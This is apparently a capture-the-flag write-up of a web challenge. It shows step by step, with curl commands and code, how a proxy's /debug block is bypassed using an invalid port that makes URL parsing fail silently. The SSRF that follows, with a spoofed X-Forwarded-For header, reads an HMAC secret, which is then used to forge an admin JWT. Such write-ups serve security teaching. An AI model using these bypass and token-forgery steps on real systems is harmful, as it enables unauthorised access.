Pipeline#

Server1 (Port 5000)#

• Internal only, not directly accessible
• Hosts the JWT secret at /.well-known/jwks.json

Server2 (Port 3000)#

• Also internal, no direct access
• Contains the flag endpoint at /admin/flag which requires a valid JWT with admin privileges
• Has a debug endpoint /debug/fetch vulnerable to SSRF

Proxy (Port 8082)#

• The only publicly accessible component
• Routes traffic to Server2 but explicitly blocks paths beginning with /debug

Vulnerability Analysis#

Looking at Server2’s implementation, the /admin/flag endpoint only validates two things:

1. The JWT must be signed with a valid secret
2. The token must contain role: admin

The /debug/fetch endpoint trusts any request with the X-Forwarded-For header set to 127.0.0.1.

The attack path becomes clear: leverage the SSRF to reach Server1, grab the JWT secret, forge an admin token, and retrieve the flag.

The Roadblock#

There’s one problem - the proxy actively blocks access to /debug/*:

1
if (checkPath.toLowerCase().startsWith("/debug")) {
2
  client.write(
3
    "HTTP/1.1 403 Forbidden\r\nConnection: close\r\nContent-Type: text/plain\r\nContent-Length: 9\r\n\r\nforbidden"
4
  );
5
  client.end();
6
  upstream.end();
7
  return;
8
}

Bypassing the Proxy Filter#

Two interesting observations in the proxy code:

1. Headers are manually parsed using a custom parseHeaders function:

1
client.on("data", (chunk) => {
2
  clientBuf = Buffer.concat([clientBuf, chunk]);
3
  const meta = parseHeaders(clientBuf);
4
  if (!meta) return;
5
  const { idx, method, path, headers } = meta;

2. URL parsing errors are silently ignored:

1
try {
2
  if (/^https?:\/\//i.test(checkPath)) {
3
    const u = new URL(checkPath);
4
    checkPath = u.pathname || "";
5
  }
6
} catch (_) {}

Using port 65540 (which exceeds the maximum valid port of 65535) causes new URL() to throw an exception. Since errors are swallowed, the path check is bypassed:

1
curl -X GET "http://192.168.1.17:8082/https://localhost:65540/debug/fetch?url=http://localhost:5000/.well-known/jwks.json" \
2
  -H "Host: 192.168.1.17" \
3
  -H "X-Forwarded-For: 127.0.0.1"

The payload above gave us the JWT secret from Server1. The response contains the HMAC secret in the n field:

1
{
2
  "keys": [
3
    {
4
      "kty": "RSA",
5
      "n": "random-string-for-hmac-secret",
6
      ...
7
    }
8
  ]
9
}

Next, forge a JWT with admin privileges:

1
# Using jwt-cli
2
jwt encode --secret "random-string-for-hmac-secret" '{"role":"admin"}'
3

4
# Or using Node.js one-liner
5
node -e "console.log(require('jsonwebtoken').sign({role:'admin'},'random-string-for-hmac-secret',{algorithm:'HS256'}))"

Finally, request the flag using the forged token:

1
curl -H "Authorization: Bearer <your-jwt-token>" http://192.168.1.17:8082/admin/flag

And that’s the flag!